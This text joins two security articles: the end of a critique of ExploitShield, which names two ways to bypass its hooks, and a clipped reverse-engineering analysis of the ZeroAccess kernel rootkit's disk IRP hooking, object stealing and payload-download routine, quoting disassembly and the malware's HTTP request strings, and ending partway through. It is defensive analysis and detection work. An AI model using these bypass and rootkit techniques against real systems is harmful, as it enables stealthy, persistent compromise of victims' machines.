  4. Now, the web browser executes code supplied by the exploit. At this point, the web browser has been exploited. The user is running code supplied by the attacker / exploit. At this point, anything could happen. Note how we’ve made it all the way through the ‘exploitation’ stage of this process and ExploitShield hasn’t entered the picture yet.
  5. The executed code calls one of the hooked functions, say WinExec. For this example, let’s say that the code executing is called from a page that is on the heap, so its permissions are RWX \(read-write-execute\).

ExploitShield is great if the attacker doesn’t know it’s there, and, isn’t
globally represented enough to be a problem in the large for an attacker. If
the attacker knows it’s there, and cares, they can bypass it trivially.

## A Bad Day for ExploitShield

If an attacker knows about ExploitShield, how much effort does it take to
create an exploit that does not set off the alarms monitored by ExploitShield?
I argue it does not take much effort at all. Two immediate possibilities come
to mind:

  * Use a \(very\) primitive form of ROP \(Return-Oriented Programming\). Identify a  _ret_ instruction in a loaded module and push that onto the stack as a return address. Push your return address onto the stack before this address. The checks made by ExploitShield will pass.
  * Use a function that is equivalent to one of the hooked functions, but is not the hooked function. If CreateProcess is hooked, use NtCreateProcess  instead.

Both of these would defeat the protections I discovered in ExploitShield.
Additionally, these techniques would function on systems where ExploitShield
is absent, meaning that if an attacker cared to bypass ExploitShield when it
was present they would only need to do the work of implementing these bypasses
once.

## Obscurity Isn’t Always Bad

The principle of ‘security through obscurity’ is often cited by security nerds
as a negative property for a security system to hold. However, obscurity does
actually make systems more secure as long as the defensive system remains
obscure or unpredictable. The difficulty for obscurity-based defensive
techniques lies in finding an obscure change that can be made with little cost
and that the attacker can’t adapt to before they are disrupted by it, or a
change that can be altered for very little cost when its obscurity is
compromised.

For example, consider PatchGuard  from Microsoft. PatchGuard ‘protects’ the
system by crashing when modifications are detected. The operation of
PatchGuard is concealed and not published by Microsoft. As long as PatchGuards
operation is obscured and secret, it can protect systems by crashing them when
it detects modification made by a rootkit.

However, PatchGuard has been frequently reverse engineered and studied by
security researchers. Each time a researcher has sat down with the intent to
bypass PatchGuard, they have met with success. The interesting thing is what
happens next: at some point in the future, Microsoft silently releases an
update that changes the behavior of PatchGuard such that it still accomplishes
its goal of crashing the system if modifications are detected, but is not
vulnerable to attacks created by security researchers.

In this instance, obscurity works. It’s very cheap for Microsoft to make a new
PatchGuard, indeed the kernel team might have ten of them “on the bench”
waiting for the currently fielded version to be dissected and bypassed. This
changes the kernel from a static target into a moving target. The obscurity
works because it is at Microsoft’s initiative to change the mechanism, changes
are both cheap and effective, and the attacker can’t easily prepare to avoid
these changes when they’re made.

The changes that ExploitShield introduces are extremely brittle and cannot be
modified as readily. Perhaps if ExploitShield was an engine to quickly deliver
a broad variety of runtime changes and randomly vary them per application,
this dynamic would be different.

# Some Implementation Problems

Implementing a HIPS correctly is a lot of work\! There are fiddly engineering
decisions to make everywhere and as the author you are interposing yourself
into a very sticky security situation. ExploitShield makes some unnecessary
implementation decisions.

## The IOCTL Interface

The driver exposes an interface that is accessible to all users. Traditional
best-practices for legacy Windows drivers ask that interfaces to the driver
only be accessible to the users that should access it. The ExploitShield
interface is accessible to the entire system however, including unprivileged
users.

The driver processes messages that are sent to it. I didn’t fully discover
what type of messages these are, or their format, however IOCTL handling code
is full of possibilities for subtle mistakes. Any mistake present inside of
the IOCTL handling code could lead to a kernel-level vulnerability, which
would compromise the security of your entire system.

This interface creates additional attack surface.

## The Hook Logic

Each hook invokes a routine to check if the return address is located in a
loaded module. This routine makes use of a global list of modules that is
populated only once by a call to EnumerateLoadedModules  with a programmer-
supplied callback. There are two bugs in ExploitShields methodology to
retrieve the list of loaded modules.

The first bug is that there is apparently no mutual exclusion around the
critical section of populating the global list. Multiple threads can call
CreateProcessA at once, so it is theoretically possible for the user-mode
logic to place itself into an inconsistent state.

The second bug is that the modules are only enumerated once. Once
EnumerateLoadedModules has been invoked, a global flag is set to true and then
EnumerateLoadedModules is never invoked again. If the system observes a call
to CreateProcess, and then a new module is subsequently loaded, and that
module has a call to CreateProcess, the security system will erroneously flag
that module as an attempted exploit.

Neither of these flaws expose the user to any additional danger, they just
indicate poor programming practice.

## Why Hook At All?

An especially baffling decision made in the implementation of ExploitShield is
the use of hooks at all\! For each event that ExploitShield concerns itself
with \(process creation and file write\), there are robust callback
infrastructures present in the NT kernel. Indeed, authors of traditional anti-
virus software so frequently reduced system stability with overly zealous use
of hooks that Microsoft very strongly encouraged them to use this in-kernel
monitoring API.

ExploitShield uses unnecessarily dangerous programming practices to achieve
effects possible by using legitimate system services, possibly betraying a
lack of understanding of the platform they aim to protect.

# The Impossibility of ExploitShield’s success

What can ExploitShield do to change this dynamic? The problem is, not much.
Defensive systems like this are wholly dependent on obscurity. Once studied by
attackers, the systems lose their value. In the case of software like this,
one problem is that the feedback loop does not inform the authors or users of
the security software that the attacker has adapted to the security system.
Another problem is that the obscurity of a system is difficult to maintain.
The software has to be used by customers, so it has to be available in some
sense, and if it is available for customers, it will most likely also be
available for study by an attacker.

# What Hope Do We Have?

It’s important to note that EMET differs from ExploitShield in an important
regard: EMET aims to disrupt the act of exploiting a program, while
ExploitShield aims to disrupt the act of executing a payload on a system.
These might seem like fine points, however a distinction can be made around
“how many choices does the attacker have that are effective”. When it comes to
executing payloads, the attackers choices are nearly infinite since they are
already executing arbitrary code.

In this regard, EMET is generally not based on obscurity. The authors of EMET
are very willing to discuss in great detail the different mitigation
strategies they implement, while the author of ExploitShield has yet to do so.

Generally, I believe if a defensive technique makes a deterministic change to
program or run-time behavior, an attack will fail until it is adapted to this
technique. The effectiveness of the attack relies on the obscurity of the
technique, and on whether the change impacts the vulnerability, exploit, or
payload. If the attack cannot be adapted to the modified environment, then the
obscurity of the mitigation is irrelevant.

However, what if the technique was not obscure, but was instead unpredictable?
What if there was a defensive technique that would randomly adjust system
implementation behavior while preserving the semantic behavior of the system
as experienced by the program? What is needed is identification of properties
of a system that, if changed, would affect the functioning of attacks but
would not change the functioning of programs.

When these properties are varied randomly, the attacker has fewer options.
Perhaps they are aware of a vulnerability that can transcend any permutation
of implementation details. If they are not, however, they are entirely at the
mercy of chance for whether or not their attack will succeed.

# Conclusion

ExploitShield is a time capsule containing the best host-based security
technology that 2004 had to offer. In my opinion, it doesn’t represent a
meaningful change in the computer security landscape. The techniques used
hinge wholly on obscurity and secrecy, require very little work to overcome
and only affect the later stage of computer attacks, the payload, and not the
exploit.

When compared to other defensive technologies, ExploitShield comes up short.
It uses poorly implemented techniques that work against phases of the attack
that require very little attacker adaptation to overcome. Once ExploitShield
gains enough market traction, malware authors and exploit writers will
automate techniques that work around it.

ExploitShield even increases your attack surface, by installing a kernel-mode
driver that will processes messages sent by any user on the system. Any flaws
in that kernel-mode driver could result in the introduction of a privilege
escalation bug into your system.

The detection logic it uses to find shellcode is not wholly flawed, it
contains an implementation error that could result in some false positives,
however it is generally the case that a call to a runtime library function,
with a return address that is not in the bounds of a loaded module, is
suspicious. The problem with this detection signature is that it is trivially
modified to achieve the same effect. Additionally, this detection signature is
not novel, HIPS products have implemented this check for a long time.

This is a shame, because, in my opinion, there is still some serious room for
innovation in this type of software…

### Like this:

# ZeroAccess Malware Part 2: The Kernel-Mode Device Driver Stealth Rootkit

**Created:**| _11/18/2010 5:57:33 PM_  
---|---  
**Updated:**| _11/18/2010 5:59:23 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

## ZeroAccess Malware Part 2: The Kernel-Mode Device Driver Stealth Rootkit

November 15th, 2010|By: giuseppe|Topics: |2 Comments

  
Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent
Dropper  
**Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit**  
Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection
Rootkit  
Part 4:Tracing the Crimeware Origins by Reversing the Injected Code  

In Part 2 of the ZeroAccess Malware Reverse Engineering series of articles, we
will reverse engineer the first driver dropped by the user-mode agent that was
reversed in Part 1. The primary purpose of this driver is to support the
stealth features and functionality of the ZeroAccess malicious software
delivery platform. This rootkit has low level disk access that allows it to
create new volumes that are totally hidden from the victim’s operating system
and Antivirus. Consider the case where someone attempts to remove the rootkit
by formatting the volume where their OS is installed \(say the c:\\\) and
reinstalling Windows. ZeroAccess will survive this cleaning process and
reinstall itself onto the fresh copy of Windows. This is likely very
frustrating for anyone attacked by ZeroAccess. We will also investigate the
IRP hooking routine that the rootkit employs to avoid detection and support
invisibility features. ZeroAccess has the ability to infect various system
drivers that further support stealth. Lastly, we will cover some
vulnerabilities in the rootkit that allow for its detection using readily
available tools.

First, lets report the metadata and hashes for this file:

FileSize: 132.00 KB \(135168 bytes\)

MD5: 83CB83EB5B7D818F0315CC149785D532

SHA-1: 39C8FCEE00D53B4514D01A8F645FDF5CF677FFD2

No VersionInfo Available.

No Resources Available.

When disassembly of this driver begins, the first thing that we notice is the
presence of Debugging Symbols. What follows is a graphical skeleton for the
order of execution between the various code blocks:

<img src='img/Temp2_10019.png' />

In modern advanced rootkits, the first operation performed after decrypting
and dropping from the Agent is to cover its presence from users and antivirus.
The functionality scope of this driver includes a set of operations to install
a framework to make the infection resilient and almost impossible to remove,
as well as completely infect the system drivers started by user-mode Agent.

The most handy and easily approachable method for rootkit driver analysis is
to attach directly to the module. We will load a kernel-mode debugger, such as
Syser. In our case the entire ZeroAccess code is placed into DriverEntry \(the
main\(\) of every driver\). We will also discover various dispatch routines
and system threads that would give a non-linear execution flow.

Let’s check out the code from beginning:

<img src='img/Temp2_10011.png' />

If you remember, the selected system driver to be infected is stored as
registry entry and starts with a ‘dot’. In the above code block, we see the
driver checking for this registry key entry. Next, you can see ResultLength,
which belongs to the OBJECT\_ATTRIBUTES structure, is used specify attributes
that can be applied to the various objects. To continue analysis:

<img src='img/Temp2_10013.png' />

We see OBJECT\_ATTRIBUTES is filled with NULL values \(EAX\) except ObjectName
that will contain RegistryPath, and then we have two subcalls. The first call
performs registry key enumeration, then deletes it and returns the deletion
status. The next call accomplishes the same task, this time deleting:

\\\registry\\\MACHINE\\\SYSTEM\\\CurrentControlSet\\\Enum\\\root\\\LEGACY\_\*driver\_name\*  

Next we see a call to an important routine:

100037A5 mov Object, eax ; Object = DriverObject  

100037AA call sub\_100036CA  

Inside this sub we will see we have IRP Hooking routine.

## **\_\_IRP Hooking\_\_  
**

Let’s begin with looking at this block of code:

<img src='img/Temp2_10026.png' width='709' height='227' />  

Here we have one of the primary functionalities of ZeroAccess rootkit, the
Disk Driver IRP Hooking routine. Disk.sys is a drivers that is responsible for
interacting heavily with hardware. Every operation from the OS that deals disk
storage must pass through \Driver\Disk. If you aren’t familiar with this
concept, here is a visual representation of the Windows disk storage stack:

<img src='img/Temp2_10014.png' /><img src='img/Temp2_10018.png' />

Picture is taken from http://technet.microsoft.com/en-
us/library/ee619734%28WS.10%29.aspx

The red arrow points where ZeroAccess is lives and works, you can see this is
the lowest level of the storage devices stack. The closer to the hardware, the
more stealthy the rootkit can be. The technology used by ZeroAccess is simple
conceptually, and has been found to be the most effective.

The concept behind IRP hooking is to replace the original IRP dispatch
routines with the rootkit’s custom IRP handlers. If the rootkit succeds in
hooking, the controlled IRPs are redirected to the rootkit code that
accomplishes a certain operations, usually devoted to monitoring and/or
invisibility and user deception. From a conceptual level, these high level
goals are performed by the rootkit by manipulating data:

  * Monitoring is implemented when input data is somehow stored and transmitted
  * Invisibility is implemented when data returned to other processes and functions is modified
  * User deception is implemented when fake data is returned

In our case returned data is specifically crafted to cover traces of malicious
files located in and around the victim’s filesystem.

Let’s revert back to the latest code screenshot, as you can see IRP
HandlerAddress is inserted into Object \( that is a pointer to DRIVER\_OBJECT
structure, which we detail later on\) \+ 38h that corresponds to
PDRIVER\_DISPATCH MajorFunction. This is a dispatch table consisting of an
array of entry points for the driver’s various dispatch routines. The array’s
index values are the IRP\_MJ\_XXX values representing each IRP major function
code.

We see the original \Disk IRP Dispatch Table is filled with the malicious
rootkit dispatch function. Essentially the malicious IRP handling function is
going to need to parse an impressive amount of I/O request packets to verify
if core rootkit files are touched. If it does detect that rootkit files are
being accessed, it will return a fake result and mark it as completed in the
IRP.

Let’s take a look at this function:

<img src='img/Temp2_10037.png' width='709' height='448' />

This function takes as arguments the previously described object pointer and
the PIRP IRP. The PRIP IRP is the IRP to parse. At first, the object is parsed
with a DeviceObject of the ZeroAccess Device. If two objects matches, the code
calls sub\_1000292A, which takes as an argument, the IRP itself . Next, it
exits and returns the status given by this call. Inside the call sub\_1000292A
we have schematically another set of IRP parsing rules, this time directly
focused on three specific areas:

  * Core ZeroAccess rootkit file queries
  * Power IRPs
  * Malware IRP Requests

The I/O request to be faked are always managed in the same way, the function
protype looks like this:

Irp->IoStatus.Status = FakeFailureStatus;  

This completes the IRP via IofCompleteRequest function.

Power IRPs are managed via PoStartNextPowerIrp and similar functions.

Finally we have the IRP Traffic generated by ZeroAccess. Because of the nature
of the traffic it is necessary to identify which process sent the request,
this is accomplished by checking:

Irp->Tail.Overlay.OriginalFileObject  

Let’s go back to the main handling function. In cases where objects does not
match, the object is checked to see if the CurrentIrpStackLocation is 0×16. If
it is 0×16, it is escalated via PoStartNextPowerIrp. The immediate effect of
calling this routine lets the driver know it is finished with the previous
power IRP.

The driver must then call PoStartNextPowerIrp while the current IRP stack
location points to the current driver. Immediately after the code retrieves
Irp->Tail.Overlay.CurrentStackLocation \(which corresponds to an undocumented
indirect use of IoGetCurrentIrpStackLocation\). we have a PoCallDriver that
passes a power IRP to the next-lowest driver in the device stack and exits.
Let’s move on to the next block of code:

<img src='img/Temp2_10029.png' width='709' height='615' />

Here we have a conditional branch. It needs to match various requirements, one
of them given by the call sub\_1000273D that returns a NTSTATUS value stored
into a variable that we called resStatOperation. Now if the conditional branch
check fails, we suddenly reach a piece of code that sets IO\_STATUS members
and marks them as completed via IofCompleteRequest on the intercepted IRP.

The source code that likely created the completion code would have looked
like:

Irp->IoStatus.Information = 0;  

Irp->IoStatus.Status = resStatOperation;  

IofCompleteRequest\(Irp, 1\);  

return resStatOperation;  

IRPs that are not relevant to cloaking and hiding files are easly passed to
the underlying driver and processed by the original corresponding dispatch
routine. As you have seen in these code blocks, the whole parsing routine is
based on the CurrentStackLocation struct member. This feature can be a bit
difficult to understand, so we will explain it a bit more. The I/O Packet
structure consists of two pieces:

  * Header.
  * Various Stack Locations.

IRP Stack Location contains a function code constituted by Major and Minor
Code, basically the most important is the Major Code because identifies which
of a driver’s dispatch routines the IOManager invokes when passing an IRP to a
driver.

## **\_\_End IRP Hooking\_\_  
**

Let’ comeback now to the DriverEntry code

Inside call sub\_10003108 we have an important piece of code:

<img src='img/Temp2_10022.png' width='709' height='475' />

Of particular importance the parameter of IoCreateDevice pointed to by the red
arrow. FILE\_DEVICE\_DISK creates a disk like structure. If device creation is
successful, the object is transformed in a Temporary Object. This is done
because a Temporary Object and can be deleted later, meaning it can be removed
from namespace, then next derefenced. The ObDereferenceObject decreases the
reference count of an object by one. If the object was created \(in our case
transformed into\) a temporary objct and the reference count reaches zero, the
object can be deleted by the system.

As you can see from code immediately after we have the following string:

\systemroot\system32\config\12345678.sav  

Let’s take a look at the next logical block of code:

<img src='img/Temp2_10035.png' width='709' height='485' />

The entire string _12345678.sav_ is passed as parameter to call sub\_10002F87.
Inside this call we have some weak obsfucation. The algorithm is pretty easy
to decipher and can be de-obfuscated via a XOR + ADDITION where the key is a
value extracted from Windows registry.

When reversing any kernel mode rootkit and you see the ZwCreateFile call, one
of the parameters to inspect after the call is the member information of
IO\_STATUS\_BLOCK structure. This is the 4th parameter of ZwCreateFile. It
contains the final completion status, meaning you can then determine if the
file has been, Created/Opened/Overwritten/Superdesed/etc.

Upon further analysis we determined that this _-random-.sav_ file works as a
configuration file. In addition to the information stored, there is a copy of
original properties of the clean, uninfected system driver. If a user or file
scanner accesses the infected driver, due to ZeroAccess’s low level
interaction with \Disk driver, file will be substituted on fly with original
one. This will total deceive whatever process is inspecting the infected
system driver.

Let’s look again at our routine.

As you can see here the rootkit checks for exactly the same thing, it compares
IoStatusBlock->Information with constant value 0×2. This value corresponds to
FILE\_CREATE. If file has a FILE\_CREATE status, then ZwFsControlCode sends to
this file a FSCTL\_SET\_COMPRESSION control code.

The ZwSetInformationFile routine changes various kinds of information about a
file object. In our case we have as the FileInformationClass,
FileEndOfFileInformation that changes the current end-of-file information,
supplied in a FILE\_END\_OF\_FILE\_INFORMATION structure. The operation can
either truncate or extend the file. The caller must have opened the file with
the FILE\_WRITE\_DATA flag set in the DesiredAccess parameter for this to
work. Let’s look at the next block of code:

<img src='img/Temp2_10027.png' />

The ObReferenceObjectByHandle routine provides access validation on the object
handle, and, if access can be granted, returns the corresponding pointer to
the object’s body. After referencing our file object, via
IoGetRelatedDeviceObject, we have the pointer corresponding to its device
object.

If you remember, the device driver was builded with FILE\_DEVICE\_DISK. This
means that the device represents a volume, as you can see from there code,
there is a deviceObj->SectorSize reference.

By looking at the documentation for DEVICE\_OBJECT we can see the following
descriptor for SectorSize member:

“ _this member specifies the volume’s sector size, in bytes. The I/O manager
uses this member to make sure that all read operations, write operations, and
set file position operations that are issued are aligned correctly when
intermediate buffering is disabled. A default system bytes-per-sector value is
used when the device object is created_ ”

The DISK structure will serve the purpose of offering an easy way to covertly
manage the rootkit files, namely, by managing this rootkit device as a common
Disk.

At this point if you take a look at start code of this driver you will see
that in DriverEntry\(\) we have a ‘.’ character check If the condition matches
we have the execution flow previously seen, otherwise execution jumps directly
to this last one piece of code:

<img src='img/Temp2_10039.png' />

The above instructions are fully commented. EBX points to the string of the
randomly selected System Driver, call sub\_10002F87 scrambles the ‘Snifer67′
string according to a value extracted from a registry key value. Next you can
see a call that we have named HashCheck. It takes three arguments, HANDLE
SourceString, int, PULONG HashValue:

<img src='img/Temp2_10020.png' width='709' height='336' />

If the hash check fails, inside the call sub\_100036E9, MDL is released.
Otherwise execution is reidrected toward call sub\_100022C3, as shown below:

<img src='img/Temp2_10025.png' />

What we have here is a method of interaction between kernel-mode and user-mode
called memory sharing. With memory sharing, it is possible to map kernel
memory into user mode. There are two common techniques for memory sharing,
they are:

  * Shared objects and shared views.
  * Mapped memory buffers

We have already seen how Section Objects work in user-mode, in kernel-mode the
concept is not very different. What changes in this case we have to deal with
MDLs, and we need additional security checks because sharing memory between
kernel and user space can be a pretty dangerous operation. After opening a
Section into the target a View is created by using ZwMapViewOfSection. Let’s
suppose that you want to know where this section is opened, a fast way to
discover this is via handle table check.To do this, the first step is to
locate where handle is stored. Simply point your debugger memory view to the
SectionHandle parameter of ZwOpenSection.

If Section Opening is successful, in memory you will see the handle, and now
we can query more details about this handle. The syntax varies with your
debugger of choice:

In Syser type: handle handle\_number

In WinDbgtype : \!handle handle\_number ff

Here is what the WinDbg output looks like:

> \!handle 1c0 ff  

Handle 1c0  

  
Type Section  

Attributes 0  

  
GrantedAccess 0×6:  

None  

  
MapWrite,MapRead  

HandleCount 22  

PointerCount 24  

Name \BaseNamedObjects\windows\_shell\_global\_counters  

Object Specific Information  

In our case, the Section Object and successive View is opened into the
randomly chosen system driver. It’s important to specify that the usage of
ZwMapViewOfSection maps the view into the user virtual address space of the
specified process. Mapping the driver’s view into the system process prevents
user-mode applications from tampering with the view and ensures that the
driver’s handle is accessible only from kernel mode. Let’s take a look at the
next code block:

<img src='img/Temp2_10031.png' />

The MmAllocatePagesForMdl routine allocates zero-filled, nonpaged, physical
memory pages to an MDL. In ESI, if allocation succeeds, we have the MDL
pointer, used by MmMapLockedPagesSpecifyCache that maps the physical pages
that are described by MDL pointer, and allows the caller to specify the cache
behavior of the mapped memory. The BaseAddress parameter specifies the
Starting User Address to map the MDL to. When this param value is NULL the
system will choose the StartingAddress. EBX contains the return value that is
the starting address of the mapped pages. Next there is a classic memcpy,
which the author has documented in the screenshot.

This call returns a true/false value based on the success/fail of
ZwMapViewOfSection.

If the function fails, execution will jump to the MDL Clear call previously
seen and then exits. In the else case we land to the final piece of this
driver. Once again, let’s clarify that the scope of all of these operations
performed on the randomly chosen System Driver, the purpose is inoculate
malicious code delivered by the authors of ZeroAccess and to ensure that the
rootkit survives any sort of cleaning or antivirus operation. Lets review the
next block of code:

<img src='img/Temp2_10016.png' width='709' height='554' />

This section is rich in functionality that is of interest to malware reverse
engineers. Let’s first look at the first call of the routine, call
sub\_10002D9F, which takes as argument the previously described SourceString.
Further analysis shows:

<img src='img/Temp2_10032.png' />

You should be able understand what this piece of code does, it’s pretty
similar to the Memory Sharing routine previously seen. This time SectionObject
is applied to the randomly chosen driver.

Let’s now examine the second call:

<img src='img/Temp2_10023.png' />

This is an interesting piece of code. ObReferenceObjectByName is an
Undocumented Export of the kernel declared as follow:

NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName\(  

PUNICODE\_STRING ObjectName,  

ULONG Attributes,  

PACCESS\_STATE AccessState,  

ACCESS\_MASK DesiredAccess,  

POBJECT\_TYPE ObjectType,  

KPROCESSOR\_MODE AccessMode,  

PVOID ParseContext OPTIONAL,  

OUT PVOID\* Object\);  

This function is given a name of an object, and then the routine returns a
pointer to the body of the object with proper ref counts, the wanted
ObjectType is clearly specified by the 5th parameter \( POBJECT\_TYPE \). In
our case it will be _IoDriverObjectType._

_ObReferenceObjectByName_ is a handy function largely used by rootkits to
steal objects or as a function involved in the IRP Hooking Process. In our
case we have an object stealing attempt, if you remember IRP Hook already
happened previously in our analysis. The way this works is by locating the
pointer to the driver object structure \(DRIVER\_OBJECT\) that represents the
image of a loaded kernel-mode driver, the rootkit is able to access, inspect
and modify this structure.

Now, let’s take a look at this block code uncommented. We want to show you the
WinDbg view with addition of -b option and the complete DRIVER\_OBJECT
structure:

0:001> dt nt\!\_DRIVER\_OBJECT -b  

ntdll\!\_DRIVER\_OBJECT  

+0×000 Type : Int2B  

+0×002 Size : Int2B  

+0×004 DeviceObject : Ptr32  

+0×008 Flags : Uint4B  

+0x00c DriverStart : Ptr32  

+0×010 DriverSize : Uint4B  

+0×014 DriverSection : Ptr32  

+0×018 DriverExtension : Ptr32  

+0x01c DriverName : \_UNICODE\_STRING  

+0×000 Length : Uint2B  

+0×002 MaximumLength : Uint2B  

+0×004 Buffer : Ptr32  

+0×024 HardwareDatabase : Ptr32  

+0×028 FastIoDispatch : Ptr32  

+0x02c DriverInit : Ptr32  

+0×030 DriverStartIo : Ptr32  

+0×034 DriverUnload : Ptr32  

+0×038 MajorFunction : Ptr32  

This code is easy to understand. From the base pointer there is an additional
value that reaches the wanted DRIVER\_OBJECT member, the other blue colorred
members are stolen.

We get more clarity if you take a look at last member entry that corresponds
\(you can see this via a live debugging session\) to \Driver\Disk. Next
ObfDereferenceObject is called, the goal is to dereference the Driver Object
previously obtained with ObReferenceObjectByName. We want to show the fact
that the ‘f’ variant of ObDereferenceObject is. This ‘f’ verion is
undocumented, before this call we do not see the typical stacked parameter
passage. This is the fastcall calling method.

Now let’s see the next call:

<img src='img/Temp2_10021.png' width='709' height='495' />

KeInitializeQueue initializes a queue object on which threads can wait for
entries, immediately after as you can see, after object referencing, we have a
PsCreateSystemThread that creates a system thread that executes in kernel mode
and returns a handle for the thread. Observe that the last parameter pushed
StartContext is the stolen DriverObject, this parameter supplies a single
argument that is passed to the thread when execution begins.

Now, we have a break in linear execution flow, so we need to put a breakpoint
into the StartRoutine to be able to catch from debugger what happens into this
System Thread.

## **\_\_System Thread Analysis\_\_  
**

Let’s check out the code of this System Thread.

<img src='img/Temp2_10028.png' width='709' height='534' />

Like the DPC \(Deferred Procedure Call\), the System Thread will serve network
purposes.

## \_\_End Of System Thread Analysis\_\_

Now we are on the final piece of code of DriverEntry, an IoAllocateWorkItem is
called, this function allocates a work item, its return value is a pointer to
IO\_WORKITEM structure.

A driver that requires delayed processing can use a work item, which contains
a pointer to a driver callback routine that performs the actual processing.
The driver queues the work item, and a system worker thread removes the work
item from the queue and runs the driver’s callback routine. The system
maintains a pool of these system worker threads, which are system threads that
each process one work item at a time.

It’s interesting that a DPC that needs to initiate a processing task which
requires lengthy processing or makes a blocking call should delegate the
processing of that task to one or more work items. While a DPC runs, all
threads are prevented from running. The system worker thread that processes a
work item runs at IRQL = PASSIVE\_LEVEL. Thus, the work item can contain
blocking calls. For example, a system worker thread can wait on a dispatcher
object.

In our case if IoAllocateWorkItem returns a NULL value \(this could happen if
there are not enough resources\), execution jumps directly to IoCreateDriver,
otherwise a Kernel Timer is installed and a DPC called. But let’s see in
detail what this mean.

KeInitializeTimer fills the KTIMER structure, successively KeInitializeDpc
creates a Custom DPC and finally KeSetTimerEx sets the absolute or relative
interval at which a timer object is to be set to a Signaled State.

BOOLEAN KeSetTimerEx\(  

\_\_inout PKTIMER Timer,  

\_\_in LARGE\_INTEGER DueTime,  

\_\_in LONG Period,  

\_\_in\_opt PKDPC Dpc  

\);  

Due to the fact that we are in presence of a DPC, the whole routine is a
classical CustomTimerDpc installation, this Deferred Procedure Call is
executed when timer object’s interval expires.

What emerges from the whole routine is another break in linear execution flow
of the device driver given by KeInitializeDpc.The DPC provides the capability
of breaking into the execution of the currently running thread \(in our case
when timer expires\) and executing a specified procedure at IRQL
DISPATCH\_LEVEL. DPC can be followed in the debugger by placing a breakpoint
into the address pointed by DeferredRoutine parameter of KeInitializeDpc.

## \_\_Deferred Procedure Call Analysis\_\_

This is the core instructions related to the Deferred Procedure Call
installed:

<img src='img/Temp2_10017.png' width='709' height='171' />

We need to inspect WorkerRoutine, pointed by the IoQueueWorkItem parameter.
Without going into unnecessary detail, from inspection of WorkerRoutine we
find the RtlIpv4StringToAddressExA function. It converts a string
representation of an IPv4 address and port number to a binary IPv4 address and
port. By checking IDA NameWindow we can see via CrossReferences that
reconducts to DPC routine the following strings:

\Device\Tcp  

\Device\Udp  

db ‘GET /%s?m=%S HTTP/1.1‘,0Dh,0Ah  

db ‘Host: %s‘,0Dh,0Ah  

db ‘User-Agent: Opera/9.29 \(Windows NT 5.1; U; en\)‘,0Dh,0Ah  

db ‘Connection: close‘,0Dh,0Ah  

And

db ‘GET /install/setup.php?m=%S HTTP/1.1‘,0Dh,0Ah  

db ‘Host: %s‘,0Dh,0Ah  

db ‘User-Agent: Opera/9.29 \(Windows NT 5.1; U; en\)‘,0Dh,0Ah  

db ‘Connection: close‘,0Dh,0Ah  

The DPC is connecting on the network at the TDI \(Transport Data Interface\),
this is immediately clear due to the usage of TDI providers \Device\Tcp and
\Device\Tcp. The purpose of this is clear, the DPC downloads other malicious
files that will be placed into:

\??\C2CAD972\#4079\#4fd3\#A68D\#AD34CC121074\

**Vulnerabilities in the ZeroAccess Rootkit.  
**

Every rootkit has features that are more stealthy than others. In our case
with the ZeroAccess rootkit **the filesystem stealth features are very good**.
When reverse engineering malware to this level, we discover some weaknesses in
the stealth model that we can exploit. This results in some common markers of
rootkit infection.

In this driver the most visible points are:

  * System Thread
  * Kernel Timer and DPC
  * Unnamed nature of the Module

Let’s see DPC infection from an investigation perspective. A DPC is nothing
more that a simple LIST\_ENTRY structure with a callback pointer, represented
by KDPC structure. This structure is a member of DEVICE\_OBJECT structure, so
a easy method to be able to retrieve this Device Object is to surf inside and
locate presence of DPC registered routines. To accomplish this task we usually
use KernelDetective tool, really handy application that can greatly help
kernel forensic inspections.

<img src='img/Temp2_10030.png' />

DPC is associated to a Timer Object so we need to enumerate all kernel timers:

<img src='img/Temp2_10012.png' width='709' height='219' />

As you can see, the timer is suspect because module is unnamed, and the period
corresponds to the one previously seen into the code block screenshot.
Scrolling down into an associated DPC we have the proof that ZeroAccess is
present:

<img src='img/Temp2_10010.png' width='709' height='333' />

As you should remember this driver also creates a System Thread via
PsCreateSystemThread. This operation is extremely visible because the function
creates a system process object. A system process object has an address space
that is initialized to an empty address space that maps the system.The process
inherits its access token and other attributes from the initial system
process. The process is created with an empty handle table.

All this implies that when looking for a rootkit infection, you should also
include inspecting the System Thread. These are objects that really easy to
reach and enumerate; we can use the Tuluka \( http://www.tuluka.org/ \) tool
to automatically discover suspicious system threads:

<img src='img/Temp2_10036.png' />

## \_\_End Of Deferred Procedure Call Analysis\_\_

After the CustomTimerDpc installation, finally we land to the last piece of
code where IoCreateDriver is called. This is another undocumented kernel
export.

NTSTATUS WINAPI IoCreateDriver\(  

UNICODE\_STRING \*name,  

PDRIVER\_INITIALIZE init \) ;  

This function creates a driver object for a kernel component that was not
loaded as a driver. If the creation of the driver object succeeds, the
initialization function is invoked with the same parameters passed to
DriverEntry.

So we have to inspect this ‘new’ DriverEntry routine.

## \_\_New DriverEntry\_\_

Here is the code for the new DriverEntry:

<img src='img/Temp2_10038.png' width='709' height='529' />

Object Directory is opened via ZwOpenDirectoryObject and after allocating a
block of Pool Memory, this block will be used to store output of
ZwQueryDirectoryObject.

<img src='img/Temp2_10034.png' width='709' height='552' />

In this piece of code, rootkit loops inside Object Directory, and assembling
for each iteration the following string:

\\\device\\\ide\\\device\_name

From Object Name obtains a DEVICE\_OBJECT pointer by using
IoGetDeviceObjectPointer. This pointer gives us the following relations:

DeviceObject = Object->DeviceObject;  

drvObject = DeviceObject->DriverObject;  

ObfReferenceObject\(DeviceObject\);  

ObMakeTemporaryObject\(DeviceObject\);  

ObfDereferenceObject\(Object\);  

Now we have both DeviceObject and DriverObject.

<img src='img/Temp2_10024.png' width='709' height='459' />

The DriverObject creates the corresponding device and next verifies if
DeviceObject->DeviceType is a FILE\_DEVICE\_CONTROLLER . If so, it then
performs the aforementioned object stealing routine.

Essentially the rootkit searches through the stack of devices and selects IDE
devices that are responsible of interactions with victim’s disk drives.

IDE devices are created by the atapi driver. The first two you see in the
illustration below, serve as the CD and Hard Disk. The last two are
controllers that work with with Mini-Port Drivers. This is why ZeroAccess
looks for FILE\_DEVICE\_CONTROLLER types \(\IdePort1 and \IdePort0\)

<img src='img/Temp2_10033.png' />

This means that ZeroAccess must add object stealing capabilities not only
Disk.sys but also Atapi.sys.

Let’s now observe with DeviceTree how driver and device anatomy change after a
